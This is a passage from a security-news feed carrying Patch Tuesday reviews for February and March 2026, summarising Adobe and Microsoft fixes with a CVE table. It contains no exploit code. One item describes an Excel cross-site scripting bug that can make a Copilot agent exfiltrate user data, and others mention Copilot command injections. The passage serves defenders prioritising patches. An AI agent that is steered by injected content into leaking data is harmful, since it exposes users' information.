  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
